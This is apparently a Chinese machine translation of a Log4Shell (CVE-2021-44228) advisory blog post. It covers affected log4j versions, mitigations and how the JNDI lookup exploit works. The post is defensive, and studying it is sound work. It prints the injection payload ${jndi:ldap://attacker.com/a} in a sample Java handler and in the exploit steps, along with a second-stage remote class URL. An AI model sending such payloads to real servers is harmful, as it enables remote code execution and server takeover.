太平洋标准时间 12 月 10 日凌晨 1:30 更新
几个小时前,在流行的 Java 日志库log4j
中发现了一个 0 天漏洞,该漏洞通过记录某个字符串导致远程代码执行 (RCE)。
鉴于该库的普遍性、漏洞利用的影响(完全服务器控制)以及利用的容易程度,该漏洞的影响非常严重。我们简称为“Log4Shell”(CVE-2021-44228 并不那么令人难忘)。
0-day与发布在GitHub 上的 POC 一起在推特上
发布。 由于此漏洞仍然很新,因此尚无 CVE 对其进行跟踪。这现已发布为CVE-2021-44228。
这篇文章提供了资源来帮助您了解漏洞以及如何自行缓解。
谁受到影响?
许多服务都容易受到这种攻击。Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。
任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。
许多开源项目,如 Minecraft 服务器Paper,已经开始修补它们对log4j
.
更新(发布后3小时):
根据本博客文章(以英文),大于JDK版本6u211
,7u201
,8u191
,并且11.0.1
不会受到LDAP攻击向量。在这些版本
com.sun.jndi.ldap.object.trustURLCodebase
中设置为false
意味着 JNDI 无法使用 LDAP 加载远程代码库。
但是,还有其他针对此漏洞的攻击媒介可能会导致 RCE。根据服务器上存在的代码,攻击者可以利用此现有代码来执行有效负载。这篇博文中org.apache.naming.factory.BeanFactory
讨论了针对 Apache Tomcat 服务器上存在的类的攻击
。
受此影响Apache的log4j的版本
2.0 <= Apache log4j <= 2.14.1
永久缓解
在创建此帖子时(2021 年 12 月 9 日),没有可用的稳定版本。
截至 2021 年 12 月 10 日,版本 2.15.0 已发布。log4j-core.jar 可在此处的Maven Central 上获得,带有 [发行说明] 和 [ log4j 安全公告]。
GitHub 的发布似乎仍在等待中。
暂时缓解
根据提出它的 JIRA 问题 LOG4J2-2109 [1] ,在 2.10.0 版中添加了“formatMsgNoLookups”属性。因此,“formatMsgNoLookups=true”缓解策略在 2.10.0 及更高版本中可用,但在 2.15.0 版本中不再需要,因为它随后成为默认行为[2][3] 。
如果您使用的版本早于 2.10.0 且无法升级,则您的缓解选择是:
修改每个日志记录模式布局,
%m{nolookups}
而不是%m
在您的日志记录配置文件中,请参阅https://issues.apache.org/jira/browse/LOG4J2-2109或,替换类 org.apache.logging.log4j.core.lookup.JndiLookup 的非易受攻击或空的实现,这样你的类加载器就会使用你的替代品,而不是类的易受攻击版本。请参阅您的应用程序或堆栈的类加载文档以了解此行为。
如何利用工程
利用需求
- 具有易受攻击
log4j
版本的服务器(如上所列), - 具有允许攻击者发送漏洞利用字符串的任何协议(HTTP、TCP 等)的端点,
- 以及从该请求中注销字符串的日志语句。
例如漏洞的代码
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
利用步骤
- 来自用户的数据被发送到服务器(通过任何协议),
- 服务器记录请求中的数据,包含恶意负载:(
${jndi:ldap://attacker.com/a}
其中attacker.com
是攻击者控制的服务器), - 该
log4j
漏洞由该有效载荷触发,服务器attacker.com
通过“ Java 命名和目录接口”(JNDI)发出请求, - 此响应包含
http://second-stage.attacker.com/Exploit.class
注入服务器进程的远程 Java 类文件(例如)的路径, - 此注入的有效载荷触发第二阶段,并允许攻击者执行任意代码。
由于此类 Java 漏洞非常常见,安全研究人员已经创建了工具来轻松利用它们。该marshalsec项目是一个说明产生漏洞的有效载荷,可用于针对该漏洞的一处。您可以参考此恶意 LDAP 服务器以获取漏洞利用示例。
更多信息
随着有关此漏洞的影响的信息可用,我们将继续更新此帖子。
目前,我们只是发布此内容以帮助提高认识并让人们对其进行修补。请告诉任何运行Java软件的朋友!
如何防止未来的攻击
像令牌化这样的方法可以通过需要多次利用来泄漏敏感数据,从而在攻击发生之前限制您的脆弱性。
LunaSec是一种开源数据安全框架,旨在帮助缓解此类攻击。
编辑这个职位
如果您想进行任何更新或编辑,可以在GitHub 上将此帖子作为 Markdown 进行编辑
。请给我们一颗星星⭐!
链接
编辑
- 更新了“谁受到影响?” 部分包含基于 JDK 版本的缓解因素,但也建议其他漏洞利用方法仍然普遍。
将该漏洞命名为“LogJam”,添加了 CVE,并添加了发布标签的链接。- 使用更新的信息更新缓解步骤。
- 删除名称“LogJam”,因为它已被使用。改用“Log4Shell”。
- 更新 2.15.0 已发布。
参考
[1] https://issues.apache.org/jira/browse/LOG4J2-2109
[2] https://github.com/apache/logging-log4j2/pull/607/files
[3] https://issues.apache.org/jira/browse/LOG4J2-3198
也感谢@80vul 发推文。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论